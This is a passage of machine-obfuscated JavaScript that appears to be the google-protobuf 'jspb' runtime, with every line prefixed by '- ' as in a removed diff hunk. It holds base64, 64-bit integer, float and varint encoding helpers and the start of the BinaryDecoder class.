- _0x31e943.deserializeBinary = function (_0x931ab7, _0x23ea7f, _0x26a4f1, _0x1a6a1e, _0x27c706, _0x3d5ff6, _0x37919a) {
- for (; _0x23ea7f.oa() && !_0x23ea7f.bb();) {
- var _0x12fa24 = _0x23ea7f.c;
- 1 == _0x12fa24 ? _0x3d5ff6 = _0x26a4f1.call(_0x23ea7f) : 2 == _0x12fa24 && (_0x931ab7.b ? (_0x53e92a(_0x27c706), _0x37919a || (_0x37919a = new _0x931ab7.b()), _0x1a6a1e.call(_0x23ea7f, _0x37919a, _0x27c706)) : _0x37919a = _0x1a6a1e.call(_0x23ea7f));
- }
- _0x53e92a(null != _0x3d5ff6);
- _0x53e92a(null != _0x37919a);
- _0x931ab7.set(_0x3d5ff6, _0x37919a);
- };
- var _0x5a485f = {
- "\0": "\\0",
- "\b": "\\b",
- "\f": "\\f",
- "\n": "\\n",
- "\r": "\\r",
- "\t": "\\t",
- "": "\\x0B",
- "\"": "\\\"",
- "\\": "\\\\",
- "<": "\\u003C"
- };
- var _0x4a6bc4 = {
- "'": "\\'"
- };
- var _0x4c7f8e = {};
- var _0x5d9894 = null;
- function _0x564018(_0x3f124d, _0x4ad7d8) {
- undefined === _0x4ad7d8 && (_0x4ad7d8 = 0);
- _0x8824e();
- _0x4ad7d8 = _0x4c7f8e[_0x4ad7d8];
- for (var _0x594c89 = [], _0x3edd42 = 0; _0x3edd42 < _0x3f124d.length; _0x3edd42 += 3) {
- var _0x2c3af3 = _0x3f124d[_0x3edd42];
- var _0x42ea9c = _0x3edd42 + 1 < _0x3f124d.length;
- var _0x4d419e = _0x42ea9c ? _0x3f124d[_0x3edd42 + 1] : 0;
- var _0x50dfd4 = _0x3edd42 + 2 < _0x3f124d.length;
- var _0x40cd7c = _0x50dfd4 ? _0x3f124d[_0x3edd42 + 2] : 0;
- var _0x4cc85b = _0x2c3af3 >> 2;
- _0x2c3af3 = (3 & _0x2c3af3) << 4 | _0x4d419e >> 4;
- _0x4d419e = (15 & _0x4d419e) << 2 | _0x40cd7c >> 6;
- _0x40cd7c &= 63;
- _0x50dfd4 || (_0x40cd7c = 64, _0x42ea9c || (_0x4d419e = 64));
- _0x594c89.push(_0x4ad7d8[_0x4cc85b], _0x4ad7d8[_0x2c3af3], _0x4ad7d8[_0x4d419e] || "", _0x4ad7d8[_0x40cd7c] || "");
- }
- return _0x594c89.join("");
- }
- function _0x374054(_0x536f52) {
- var _0x1a4bc5 = _0x536f52.length;
- var _0x1fdb24 = 3 * _0x1a4bc5 / 4;
- _0x1fdb24 % 3 ? _0x1fdb24 = Math.floor(_0x1fdb24) : -1 != "=.".indexOf(_0x536f52[_0x1a4bc5 - 1]) && (_0x1fdb24 = -1 != "=.".indexOf(_0x536f52[_0x1a4bc5 - 2]) ? _0x1fdb24 - 2 : _0x1fdb24 - 1);
- var _0x4906d5 = new Uint8Array(_0x1fdb24);
- var _0x4936da = 0;
- (function (_0x53040a, _0x4cea6c) {
- function _0x4f26e8(_0x32c702) {
- for (; _0x14eeb5 < _0x53040a.length;) {
- var _0x21290e = _0x53040a.charAt(_0x14eeb5++);
- var _0x329d6b = _0x5d9894[_0x21290e];
- if (null != _0x329d6b) {
- return _0x329d6b;
- }
- if (!/^[\s\xa0]*$/.test(_0x21290e)) {
- throw Error("Unknown base64 encoding at char: " + _0x21290e);
- }
- }
- return _0x32c702;
- }
- _0x8824e();
- for (var _0x14eeb5 = 0;;) {
- var _0x37e9c4 = _0x4f26e8(-1);
- var _0xf4e667 = _0x4f26e8(0);
- var _0x501047 = _0x4f26e8(64);
- var _0x1e7c61 = _0x4f26e8(64);
- if (64 === _0x1e7c61 && -1 === _0x37e9c4) {
- break;
- }
- _0x4cea6c(_0x37e9c4 << 2 | _0xf4e667 >> 4);
- 64 != _0x501047 && (_0x4cea6c(_0xf4e667 << 4 & 240 | _0x501047 >> 2), 64 != _0x1e7c61 && _0x4cea6c(_0x501047 << 6 & 192 | _0x1e7c61));
- }
- })(_0x536f52, function (_0xd01ee1) {
- _0x4906d5[_0x4936da++] = _0xd01ee1;
- });
- return _0x4906d5.subarray(0, _0x4936da);
- }
- function _0x8824e() {
- if (!_0x5d9894) {
- _0x5d9894 = {};
- for (var _0x87031a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""), _0xfc7771 = ["+/=", "+/", "-_=", "-_.", "-_"], _0x465e3b = 0; 5 > _0x465e3b; _0x465e3b++) {
- var _0x1d34a5 = _0x87031a.concat(_0xfc7771[_0x465e3b].split(""));
- _0x4c7f8e[_0x465e3b] = _0x1d34a5;
- for (var _0x3ae770 = 0; _0x3ae770 < _0x1d34a5.length; _0x3ae770++) {
- var _0x4ad86a = _0x1d34a5[_0x3ae770];
- undefined === _0x5d9894[_0x4ad86a] && (_0x5d9894[_0x4ad86a] = _0x3ae770);
- }
- }
- }
- }
- _0x4851be("jspb.ConstBinaryMessage", function () {}, undefined);
- _0x4851be("jspb.BinaryMessage", function () {}, undefined);
- _0x4851be("jspb.BinaryConstants.FieldType", {
- yb: -1,
- ee: 1,
- FLOAT: 2,
- ke: 3,
- te: 4,
- je: 5,
- xb: 6,
- wb: 7,
- BOOL: 8,
- re: 9,
- ie: 10,
- le: 11,
- ce: 12,
- se: 13,
- ge: 14,
- me: 15,
- ne: 16,
- oe: 17,
- pe: 18,
- he: 30,
- ve: 31
- }, undefined);
- _0x4851be("jspb.BinaryConstants.WireType", {
- yb: -1,
- ue: 0,
- xb: 1,
- de: 2,
- qe: 3,
- fe: 4,
- wb: 5
- }, undefined);
- _0x4851be("jspb.BinaryConstants.FieldTypeToWireType", function (_0x8b5276) {
- switch (_0x8b5276) {
- case 5:
- case 3:
- case 13:
- case 4:
- case 17:
- case 18:
- case 8:
- case 14:
- case 31:
- return 0;
- case 1:
- case 6:
- case 16:
- case 30:
- return 1;
- case 9:
- case 11:
- case 12:
- return 2;
- case 2:
- case 7:
- case 15:
- return 5;
- default:
- return -1;
- }
- }, undefined);
- _0x4851be("jspb.BinaryConstants.INVALID_FIELD_NUMBER", -1, undefined);
- _0x4851be("jspb.BinaryConstants.FLOAT32_EPS", 1.401298464324817e-45, undefined);
- _0x4851be("jspb.BinaryConstants.FLOAT32_MIN", 1.1754943508222875e-38, undefined);
- _0x4851be("jspb.BinaryConstants.FLOAT32_MAX", 3.4028234663852886e+38, undefined);
- _0x4851be("jspb.BinaryConstants.FLOAT64_EPS", 5e-324, undefined);
- _0x4851be("jspb.BinaryConstants.FLOAT64_MIN", 2.2250738585072014e-308, undefined);
- _0x4851be("jspb.BinaryConstants.FLOAT64_MAX", 1.7976931348623157e+308, undefined);
- _0x4851be("jspb.BinaryConstants.TWO_TO_20", 1048576, undefined);
- _0x4851be("jspb.BinaryConstants.TWO_TO_23", 8388608, undefined);
- _0x4851be("jspb.BinaryConstants.TWO_TO_31", 2147483648, undefined);
- _0x4851be("jspb.BinaryConstants.TWO_TO_32", 4294967296, undefined);
- _0x4851be("jspb.BinaryConstants.TWO_TO_52", 4503599627370496, undefined);
- _0x4851be("jspb.BinaryConstants.TWO_TO_63", 9223372036854776000, undefined);
- _0x4851be("jspb.BinaryConstants.TWO_TO_64", 18446744073709552000, undefined);
- _0x4851be("jspb.BinaryConstants.ZERO_HASH", "\0\0\0\0\0\0\0\0", undefined);
- var _0x7c313d = 0;
- var _0x405b68 = 0;
- function _0x3163b3(_0x9fd064) {
- var _0x2aa294 = _0x9fd064 >>> 0;
- _0x9fd064 = Math.floor((_0x9fd064 - _0x2aa294) / 4294967296) >>> 0;
- _0x7c313d = _0x2aa294;
- _0x405b68 = _0x9fd064;
- }
- function _0x561e65(_0x10adae) {
- var _0x91c21a = 0 > _0x10adae;
- var _0x2690df = (_0x10adae = Math.abs(_0x10adae)) >>> 0;
- _0x10adae = Math.floor((_0x10adae - _0x2690df) / 4294967296);
- _0x10adae >>>= 0;
- _0x91c21a && (_0x10adae = ~_0x10adae >>> 0, 4294967295 < (_0x2690df = 1 + (~_0x2690df >>> 0)) && (_0x2690df = 0, 4294967295 < ++_0x10adae && (_0x10adae = 0)));
- _0x7c313d = _0x2690df;
- _0x405b68 = _0x10adae;
- }
- function _0x156cd8(_0x5abbb4) {
- var _0x1d84bf = 0 > _0x5abbb4;
- _0x3163b3(_0x5abbb4 = 2 * Math.abs(_0x5abbb4));
- _0x5abbb4 = _0x7c313d;
- var _0x270260 = _0x405b68;
- _0x1d84bf && (0 == _0x5abbb4 ? 0 == _0x270260 ? _0x270260 = _0x5abbb4 = 4294967295 : (_0x270260--, _0x5abbb4 = 4294967295) : _0x5abbb4--);
- _0x7c313d = _0x5abbb4;
- _0x405b68 = _0x270260;
- }
- function _0x55a842(_0x3fb6e9) {
- var _0x1b5f97 = 0 > _0x3fb6e9 ? 1 : 0;
- if (0 === (_0x3fb6e9 = _0x1b5f97 ? -_0x3fb6e9 : _0x3fb6e9)) {
- 0 < 1 / _0x3fb6e9 ? _0x7c313d = _0x405b68 = 0 : (_0x405b68 = 0, _0x7c313d = 2147483648);
- } else {
- if (isNaN(_0x3fb6e9)) {
- _0x405b68 = 0;
- _0x7c313d = 2147483647;
- } else {
- if (3.4028234663852886e+38 < _0x3fb6e9) {
- _0x405b68 = 0;
- _0x7c313d = (_0x1b5f97 << 31 | 2139095040) >>> 0;
- } else {
- if (1.1754943508222875e-38 > _0x3fb6e9) {
- _0x3fb6e9 = Math.round(_0x3fb6e9 / Math.pow(2, -149));
- _0x405b68 = 0;
- _0x7c313d = (_0x1b5f97 << 31 | _0x3fb6e9) >>> 0;
- } else {
- var _0x5d30b6 = Math.floor(Math.log(_0x3fb6e9) / Math.LN2);
- _0x3fb6e9 *= Math.pow(2, -_0x5d30b6);
- 16777216 <= (_0x3fb6e9 = Math.round(8388608 * _0x3fb6e9)) && ++_0x5d30b6;
- _0x405b68 = 0;
- _0x7c313d = (_0x1b5f97 << 31 | _0x5d30b6 + 127 << 23 | 8388607 & _0x3fb6e9) >>> 0;
- }
- }
- }
- }
- }
- function _0x145ea8(_0x5d6a4b) {
- var _0x370c98 = 0 > _0x5d6a4b ? 1 : 0;
- if (0 === (_0x5d6a4b = _0x370c98 ? -_0x5d6a4b : _0x5d6a4b)) {
- _0x405b68 = 0 < 1 / _0x5d6a4b ? 0 : 2147483648;
- _0x7c313d = 0;
- } else {
- if (isNaN(_0x5d6a4b)) {
- _0x405b68 = 2147483647;
- _0x7c313d = 4294967295;
- } else {
- if (1.7976931348623157e+308 < _0x5d6a4b) {
- _0x405b68 = (_0x370c98 << 31 | 2146435072) >>> 0;
- _0x7c313d = 0;
- } else {
- if (2.2250738585072014e-308 > _0x5d6a4b) {
- _0x5d6a4b /= Math.pow(2, -1074);
- _0x405b68 = (_0x370c98 << 31 | _0x5d6a4b / 4294967296) >>> 0;
- _0x7c313d = _0x5d6a4b >>> 0;
- } else {
- var _0xba12a0 = _0x5d6a4b;
- var _0x5291db = 0;
- if (2 <= _0xba12a0) {
- for (; 2 <= _0xba12a0 && 1023 > _0x5291db;) {
- _0x5291db++;
- _0xba12a0 /= 2;
- }
- } else {
- for (; 1 > _0xba12a0 && -1022 < _0x5291db;) {
- _0xba12a0 *= 2;
- _0x5291db--;
- }
- }
- _0x5d6a4b *= Math.pow(2, -_0x5291db);
- _0x405b68 = (_0x370c98 << 31 | _0x5291db + 1023 << 20 | 1048576 * _0x5d6a4b & 1048575) >>> 0;
- _0x7c313d = 4503599627370496 * _0x5d6a4b >>> 0;
- }
- }
- }
- }
- }
- function _0x594394(_0x4d8c0a) {
- var _0x5ab734 = _0x4d8c0a.charCodeAt(4);
- var _0x4e056e = _0x4d8c0a.charCodeAt(5);
- var _0x1fd2fb = _0x4d8c0a.charCodeAt(6);
- var _0x5eab4d = _0x4d8c0a.charCodeAt(7);
- _0x7c313d = _0x4d8c0a.charCodeAt(0) + (_0x4d8c0a.charCodeAt(1) << 8) + (_0x4d8c0a.charCodeAt(2) << 16) + (_0x4d8c0a.charCodeAt(3) << 24) >>> 0;
- _0x405b68 = _0x5ab734 + (_0x4e056e << 8) + (_0x1fd2fb << 16) + (_0x5eab4d << 24) >>> 0;
- }
- function _0x31371a(_0x1bcb01, _0x4ae4d5) {
- return 4294967296 * _0x4ae4d5 + (_0x1bcb01 >>> 0);
- }
- function _0x34764c(_0x1caaa2, _0x1aae0b) {
- var _0x40d735 = 2147483648 & _0x1aae0b;
- _0x40d735 && (_0x1aae0b = ~_0x1aae0b >>> 0, 0 == (_0x1caaa2 = 1 + ~_0x1caaa2 >>> 0) && (_0x1aae0b = _0x1aae0b + 1 >>> 0));
- _0x1caaa2 = _0x31371a(_0x1caaa2, _0x1aae0b);
- return _0x40d735 ? -_0x1caaa2 : _0x1caaa2;
- }
- function _0xe645bc(_0x1788c4, _0x11fe7b, _0x1159a9) {
- var _0x515158 = _0x11fe7b >> 31;
- return _0x1159a9(_0x1788c4 << 1 ^ _0x515158, (_0x11fe7b << 1 | _0x1788c4 >>> 31) ^ _0x515158);
- }
- function _0x39d4a4(_0x4df998, _0x24a8fd) {
- return _0x221496(_0x4df998, _0x24a8fd, _0x34764c);
- }
- function _0x221496(_0x2be4a2, _0x51723e, _0x55236d) {
- var _0x25ecce = -(1 & _0x2be4a2);
- return _0x55236d((_0x2be4a2 >>> 1 | _0x51723e << 31) ^ _0x25ecce, _0x51723e >>> 1 ^ _0x25ecce);
- }
- function _0x5338fd(_0x545b53) {
- var _0x4f6392 = 2 * (_0x545b53 >> 31) + 1;
- var _0x18f303 = _0x545b53 >>> 23 & 255;
- _0x545b53 &= 8388607;
- return 255 == _0x18f303 ? _0x545b53 ? NaN : Infinity * _0x4f6392 : 0 == _0x18f303 ? _0x4f6392 * Math.pow(2, -149) * _0x545b53 : _0x4f6392 * Math.pow(2, _0x18f303 - 150) * (_0x545b53 + Math.pow(2, 23));
- }
- function _0x55b4e0(_0x3dd51e, _0x64d0eb) {
- var _0xd1c9c5 = 2 * (_0x64d0eb >> 31) + 1;
- var _0x41eaf4 = _0x64d0eb >>> 20 & 2047;
- _0x3dd51e = 4294967296 * (1048575 & _0x64d0eb) + _0x3dd51e;
- return 2047 == _0x41eaf4 ? _0x3dd51e ? NaN : Infinity * _0xd1c9c5 : 0 == _0x41eaf4 ? _0xd1c9c5 * Math.pow(2, -1074) * _0x3dd51e : _0xd1c9c5 * Math.pow(2, _0x41eaf4 - 1075) * (_0x3dd51e + 4503599627370496);
- }
- function _0x1a1e0b(_0x1d63d0, _0x1f2de0) {
- return String.fromCharCode(_0x1d63d0 >>> 0 & 255, _0x1d63d0 >>> 8 & 255, _0x1d63d0 >>> 16 & 255, _0x1d63d0 >>> 24 & 255, _0x1f2de0 >>> 0 & 255, _0x1f2de0 >>> 8 & 255, _0x1f2de0 >>> 16 & 255, _0x1f2de0 >>> 24 & 255);
- }
- function _0x13e69e(_0x3cb779, _0x24e113) {
- function _0x506f77(_0x2c653b, _0xc4b8ac) {
- _0x2c653b = _0x2c653b ? String(_0x2c653b) : "";
- return _0xc4b8ac ? "0000000".slice(_0x2c653b.length) + _0x2c653b : _0x2c653b;
- }
- if (2097151 >= _0x24e113) {
- return "" + _0x31371a(_0x3cb779, _0x24e113);
- }
- var _0x1d10c5 = (_0x3cb779 >>> 24 | _0x24e113 << 8) >>> 0 & 16777215;
- _0x3cb779 = (16777215 & _0x3cb779) + 6777216 * _0x1d10c5 + 6710656 * (_0x24e113 = _0x24e113 >> 16 & 65535);
- _0x1d10c5 += 8147497 * _0x24e113;
- _0x24e113 *= 2;
- 10000000 <= _0x3cb779 && (_0x1d10c5 += Math.floor(_0x3cb779 / 10000000), _0x3cb779 %= 10000000);
- 10000000 <= _0x1d10c5 && (_0x24e113 += Math.floor(_0x1d10c5 / 10000000), _0x1d10c5 %= 10000000);
- return _0x506f77(_0x24e113, 0) + _0x506f77(_0x1d10c5, _0x24e113) + _0x506f77(_0x3cb779, 1);
- }
- function _0x31d060(_0x2ccf91, _0x48b7d4) {
- var _0x1d7307 = 2147483648 & _0x48b7d4;
- _0x1d7307 && (_0x48b7d4 = ~_0x48b7d4 + (0 == (_0x2ccf91 = 1 + ~_0x2ccf91 >>> 0) ? 1 : 0) >>> 0);
- _0x2ccf91 = _0x13e69e(_0x2ccf91, _0x48b7d4);
- return _0x1d7307 ? "-" + _0x2ccf91 : _0x2ccf91;
- }
- function _0x216d23(_0x37803c, _0x481bb2) {
- _0x594394(_0x37803c);
- _0x37803c = _0x7c313d;
- var _0x590bed = _0x405b68;
- return _0x481bb2 ? _0x31d060(_0x37803c, _0x590bed) : _0x13e69e(_0x37803c, _0x590bed);
- }
- function _0x1700f3(_0x12f015) {
- function _0x58f5a1(_0x2db88d, _0x5602ea) {
- for (var _0x20ab63 = 0; 8 > _0x20ab63 && (1 !== _0x2db88d || 0 < _0x5602ea); _0x20ab63++) {
- _0x5602ea = _0x2db88d * _0x3f982b[_0x20ab63] + _0x5602ea;
- _0x3f982b[_0x20ab63] = 255 & _0x5602ea;
- _0x5602ea >>>= 8;
- }
- }
- _0x53e92a(0 < _0x12f015.length);
- var _0x2bab4f = false;
- "-" === _0x12f015[0] && (_0x2bab4f = true, _0x12f015 = _0x12f015.slice(1));
- for (var _0x3f982b = [0, 0, 0, 0, 0, 0, 0, 0], _0x59e17a = 0; _0x59e17a < _0x12f015.length; _0x59e17a++) {
- _0x58f5a1(10, _0x12f015.charCodeAt(_0x59e17a) - 48);
- }
- _0x2bab4f && (function () {
- for (var _0x5e5558 = 0; 8 > _0x5e5558; _0x5e5558++) {
- _0x3f982b[_0x5e5558] = 255 & ~_0x3f982b[_0x5e5558];
- }
- }(), _0x58f5a1(1, 1));
- return _0x191f1a(_0x3f982b);
- }
- function _0x58971b(_0x6942b0) {
- return String.fromCharCode(10 > _0x6942b0 ? 48 + _0x6942b0 : 87 + _0x6942b0);
- }
- function _0x115c5b(_0xbb0c48) {
- return 97 <= _0xbb0c48 ? _0xbb0c48 - 97 + 10 : _0xbb0c48 - 48;
- }
- function _0x48bb7c(_0x567b63, _0x189f80, _0x4ac190, _0x2ce05b, _0x2ae327) {
- var _0x4de1d6 = 0;
- if (128 > _0x2ce05b) {
- for (; _0x189f80 < _0x4ac190 && _0x567b63[_0x189f80++] == _0x2ce05b;) {
- _0x4de1d6++;
- _0x189f80 += _0x2ae327;
- }
- } else {
- for (; _0x189f80 < _0x4ac190;) {
- for (var _0x1b4e3c = _0x2ce05b; 128 < _0x1b4e3c;) {
- if (_0x567b63[_0x189f80++] != (127 & _0x1b4e3c | 128)) {
- return _0x4de1d6;
- }
- _0x1b4e3c >>= 7;
- }
- if (_0x567b63[_0x189f80++] != _0x1b4e3c) {
- break;
- }
- _0x4de1d6++;
- _0x189f80 += _0x2ae327;
- }
- }
- return _0x4de1d6;
- }
- function _0xe55fb2(_0x5e8a29) {
- return _0x5e8a29.constructor === Uint8Array ? _0x5e8a29 : _0x5e8a29.constructor === ArrayBuffer || _0x5e8a29.constructor === Array ? new Uint8Array(_0x5e8a29) : _0x5e8a29.constructor === String ? _0x374054(_0x5e8a29) : _0x5e8a29 instanceof Uint8Array ? new Uint8Array(_0x5e8a29.buffer, _0x5e8a29.byteOffset, _0x5e8a29.byteLength) : (_0x2e10b2("Type not convertible to Uint8Array."), new Uint8Array(0));
- }
- function _0x1078ae(_0x4a6d67, _0x4c492e, _0x11b2da) {
- this.b = null;
- this.a = this.c = this.h = 0;
- this.v = false;
- _0x4a6d67 && this.H(_0x4a6d67, _0x4c492e, _0x11b2da);
- }
- _0x4851be("jspb.utils.getSplit64Low", function () {
- return _0x7c313d;
- }, undefined);
- _0x4851be("jspb.utils.getSplit64High", function () {
- return _0x405b68;
- }, undefined);
- _0x4851be("jspb.utils.splitUint64", _0x3163b3, undefined);
- _0x4851be("jspb.utils.splitInt64", _0x561e65, undefined);
- _0x4851be("jspb.utils.splitZigzag64", _0x156cd8, undefined);
- _0x4851be("jspb.utils.splitFloat32", _0x55a842, undefined);
- _0x4851be("jspb.utils.splitFloat64", _0x145ea8, undefined);
- _0x4851be("jspb.utils.splitHash64", _0x594394, undefined);
- _0x4851be("jspb.utils.joinUint64", _0x31371a, undefined);
- _0x4851be("jspb.utils.joinInt64", _0x34764c, undefined);
- _0x4851be("jspb.utils.toZigzag64", _0xe645bc, undefined);
- _0x4851be("jspb.utils.joinZigzag64", _0x39d4a4, undefined);
- _0x4851be("jspb.utils.fromZigzag64", _0x221496, undefined);
- _0x4851be("jspb.utils.joinFloat32", _0x5338fd, undefined);
- _0x4851be("jspb.utils.joinFloat64", _0x55b4e0, undefined);
- _0x4851be("jspb.utils.joinHash64", _0x1a1e0b, undefined);
- _0x4851be("jspb.utils.DIGITS", "0123456789abcdef".split(""), undefined);
- _0x4851be("jspb.utils.joinUnsignedDecimalString", _0x13e69e, undefined);
- _0x4851be("jspb.utils.joinSignedDecimalString", _0x31d060, undefined);
- _0x4851be("jspb.utils.hash64ToDecimalString", _0x216d23, undefined);
- _0x4851be("jspb.utils.hash64ArrayToDecimalStrings", function (_0x42db92, _0x659936) {
- for (var _0x457e6a = Array(_0x42db92.length), _0x2ac09a = 0; _0x2ac09a < _0x42db92.length; _0x2ac09a++) {
- _0x457e6a[_0x2ac09a] = _0x216d23(_0x42db92[_0x2ac09a], _0x659936);
- }
- return _0x457e6a;
- }, undefined);
- _0x4851be("jspb.utils.decimalStringToHash64", _0x1700f3, undefined);
- _0x4851be("jspb.utils.splitDecimalString", function (_0x5ac77e) {
- _0x594394(_0x1700f3(_0x5ac77e));
- }, undefined);
- _0x4851be("jspb.utils.hash64ToHexString", function (_0x1b6222) {
- var _0x3030d2 = Array(18);
- _0x3030d2[0] = "0";
- _0x3030d2[1] = "x";
- for (var _0x11399d = 0; 8 > _0x11399d; _0x11399d++) {
- var _0x30053b = _0x1b6222.charCodeAt(7 - _0x11399d);
- _0x3030d2[2 * _0x11399d + 2] = _0x58971b(_0x30053b >> 4);
- _0x3030d2[2 * _0x11399d + 3] = _0x58971b(15 & _0x30053b);
- }
- return _0x3030d2.join("");
- }, undefined);
- _0x4851be("jspb.utils.hexStringToHash64", function (_0x514160) {
- _0x53e92a(18 == (_0x514160 = _0x514160.toLowerCase()).length);
- _0x53e92a("0" == _0x514160[0]);
- _0x53e92a("x" == _0x514160[1]);
- for (var _0x466105 = "", _0x4df2e7 = 0; 8 > _0x4df2e7; _0x4df2e7++) {
- _0x466105 = String.fromCharCode(16 * _0x115c5b(_0x514160.charCodeAt(2 * _0x4df2e7 + 2)) + _0x115c5b(_0x514160.charCodeAt(2 * _0x4df2e7 + 3))) + _0x466105;
- }
- return _0x466105;
- }, undefined);
- _0x4851be("jspb.utils.hash64ToNumber", function (_0x1e959a, _0x4d53ce) {
- _0x594394(_0x1e959a);
- _0x1e959a = _0x7c313d;
- var _0x26b9e7 = _0x405b68;
- return _0x4d53ce ? _0x34764c(_0x1e959a, _0x26b9e7) : _0x31371a(_0x1e959a, _0x26b9e7);
- }, undefined);
- _0x4851be("jspb.utils.numberToHash64", function (_0x3ba7d7) {
- _0x561e65(_0x3ba7d7);
- return _0x1a1e0b(_0x7c313d, _0x405b68);
- }, undefined);
- _0x4851be("jspb.utils.countVarints", function (_0x484a04, _0x1904fc, _0x1cb24c) {
- for (var _0x2445f4 = 0, _0x116472 = _0x1904fc; _0x116472 < _0x1cb24c; _0x116472++) {
- _0x2445f4 += _0x484a04[_0x116472] >> 7;
- }
- return _0x1cb24c - _0x1904fc - _0x2445f4;
- }, undefined);
- _0x4851be("jspb.utils.countVarintFields", function (_0x155dca, _0x19dc16, _0x47a343, _0xb999fd) {
- var _0x34fd98 = 0;
- if (128 > (_0xb999fd *= 8)) {
- for (; _0x19dc16 < _0x47a343 && _0x155dca[_0x19dc16++] == _0xb999fd;) {
- for (_0x34fd98++;;) {
- var _0x3d0267 = _0x155dca[_0x19dc16++];
- if (0 == (128 & _0x3d0267)) {
- break;
- }
- }
- }
- } else {
- for (; _0x19dc16 < _0x47a343;) {
- for (_0x3d0267 = _0xb999fd; 128 < _0x3d0267;) {
- if (_0x155dca[_0x19dc16] != (127 & _0x3d0267 | 128)) {
- return _0x34fd98;
- }
- _0x19dc16++;
- _0x3d0267 >>= 7;
- }
- if (_0x155dca[_0x19dc16++] != _0x3d0267) {
- break;
- }
- for (_0x34fd98++; 0 != (128 & (_0x3d0267 = _0x155dca[_0x19dc16++]));) {}
- }
- }
- return _0x34fd98;
- }, undefined);
- _0x4851be("jspb.utils.countFixed32Fields", function (_0x2e7104, _0x30ed1e, _0x2b4856, _0x3b07a3) {
- return _0x48bb7c(_0x2e7104, _0x30ed1e, _0x2b4856, 8 * _0x3b07a3 + 5, 4);
- }, undefined);
- _0x4851be("jspb.utils.countFixed64Fields", function (_0x3b25a1, _0x5b85d4, _0x591bf6, _0x1186c1) {
- return _0x48bb7c(_0x3b25a1, _0x5b85d4, _0x591bf6, 8 * _0x1186c1 + 1, 8);
- }, undefined);
- _0x4851be("jspb.utils.countDelimitedFields", function (_0x53f7a9, _0x161fa5, _0x2ee844, _0x2f44c9) {
- var _0x145c61 = 0;
- for (_0x2f44c9 = 8 * _0x2f44c9 + 2; _0x161fa5 < _0x2ee844;) {
- for (var _0x5cc514 = _0x2f44c9; 128 < _0x5cc514;) {
- if (_0x53f7a9[_0x161fa5++] != (127 & _0x5cc514 | 128)) {
- return _0x145c61;
- }
- _0x5cc514 >>= 7;
- }
- if (_0x53f7a9[_0x161fa5++] != _0x5cc514) {
- break;
- }
- _0x145c61++;
- for (var _0x1099a6 = 0, _0x4455d1 = 1; _0x1099a6 += (127 & (_0x5cc514 = _0x53f7a9[_0x161fa5++])) * _0x4455d1, _0x4455d1 *= 128, 0 != (128 & _0x5cc514);) {}
- _0x161fa5 += _0x1099a6;
- }
- return _0x145c61;
- }, undefined);
- _0x4851be("jspb.utils.debugBytesToTextFormat", function (_0x50e16f) {
- var _0x1b3fe6 = "\"";
- if (_0x50e16f) {
- _0x50e16f = _0xe55fb2(_0x50e16f);
- for (var _0x4b429e = 0; _0x4b429e < _0x50e16f.length; _0x4b429e++) {
- _0x1b3fe6 += "\\x";
- 16 > _0x50e16f[_0x4b429e] && (_0x1b3fe6 += "0");
- _0x1b3fe6 += _0x50e16f[_0x4b429e].toString(16);
- }
- }
- return _0x1b3fe6 + "\"";
- }, undefined);
- _0x4851be("jspb.utils.debugScalarToTextFormat", function (_0x2fc1a4) {
- if ("string" == typeof _0x2fc1a4) {
- _0x2fc1a4 = String(_0x2fc1a4);
- for (var _0x57ab81 = ["\""], _0x4ed252 = 0; _0x4ed252 < _0x2fc1a4.length; _0x4ed252++) {
- var _0x36cce6;
- var _0x153f8e = _0x2fc1a4.charAt(_0x4ed252);
- var _0x4c9e56 = _0x153f8e.charCodeAt(0);
- var _0x1a22c2 = _0x4ed252 + 1;
- (_0x36cce6 = _0x5a485f[_0x153f8e]) || (31 < _0x4c9e56 && 127 > _0x4c9e56 || ((_0x4c9e56 = _0x153f8e) in _0x4a6bc4 ? _0x153f8e = _0x4a6bc4[_0x4c9e56] : _0x4c9e56 in _0x5a485f ? _0x153f8e = _0x4a6bc4[_0x4c9e56] = _0x5a485f[_0x4c9e56] : (31 < (_0x36cce6 = _0x4c9e56.charCodeAt(0)) && 127 > _0x36cce6 ? _0x153f8e = _0x4c9e56 : (256 > _0x36cce6 ? (_0x153f8e = "\\x", (16 > _0x36cce6 || 256 < _0x36cce6) && (_0x153f8e += "0")) : (_0x153f8e = "\\u", 4096 > _0x36cce6 && (_0x153f8e += "0")), _0x153f8e += _0x36cce6.toString(16).toUpperCase()), _0x153f8e = _0x4a6bc4[_0x4c9e56] = _0x153f8e)), _0x36cce6 = _0x153f8e);
- _0x57ab81[_0x1a22c2] = _0x36cce6;
- }
- _0x57ab81.push("\"");
- _0x2fc1a4 = _0x57ab81.join("");
- } else {
- _0x2fc1a4 = _0x2fc1a4.toString();
- }
- return _0x2fc1a4;
- }, undefined);
- _0x4851be("jspb.utils.stringToByteArray", function (_0x2eecb4) {
- for (var _0x12d313 = new Uint8Array(_0x2eecb4.length), _0xb0793b = 0; _0xb0793b < _0x2eecb4.length; _0xb0793b++) {
- var _0x3abb45 = _0x2eecb4.charCodeAt(_0xb0793b);
- if (255 < _0x3abb45) {
- throw Error("Conversion error: string contains codepoint outside of byte range");
- }
- _0x12d313[_0xb0793b] = _0x3abb45;
- }
- return _0x12d313;
- }, undefined);
- _0x4851be("jspb.utils.byteSourceToUint8Array", _0xe55fb2, undefined);
- _0x4851be("jspb.BinaryDecoder", _0x1078ae, undefined);
- var _0x4775be = [];
- function _0x4f2d17(_0x4853fb, _0x35a1d3, _0x4e6768) {
- if (_0x4775be.length) {
- var _0xd1433f = _0x4775be.pop();
- _0x4853fb && _0xd1433f.H(_0x4853fb, _0x35a1d3, _0x4e6768);
- return _0xd1433f;
- }
- return new _0x1078ae(_0x4853fb, _0x35a1d3, _0x4e6768);
- }
- function _0x26b2ed(_0x2f4879, _0x246e8f, _0x4297ca) {
- this.a = _0x4f2d17(_0x2f4879, _0x246e8f, _0x4297ca);
- this.O = this.a.B();
- this.b = this.c = -1;
- this.h = false;
- this.v = null;
- }
- _0x1078ae.getInstanceCacheLength = function () {
- return _0x4775be.length;
- };
- _0x1078ae.alloc = _0x4f2d17;
- _0x1078ae.prototype.Ca = function () {
- this.clear();
- 100 > _0x4775be.length && _0x4775be.push(this);
- };
- _0x1078ae.prototype.free = _0x1078ae.prototype.Ca;
- _0x1078ae.prototype.clone = function () {
- return _0x4f2d17(this.b, this.h, this.c - this.h);
- };
- _0x1078ae.prototype.clone = _0x1078ae.prototype.clone;
- _0x1078ae.prototype.clear = function () {
- this.b = null;
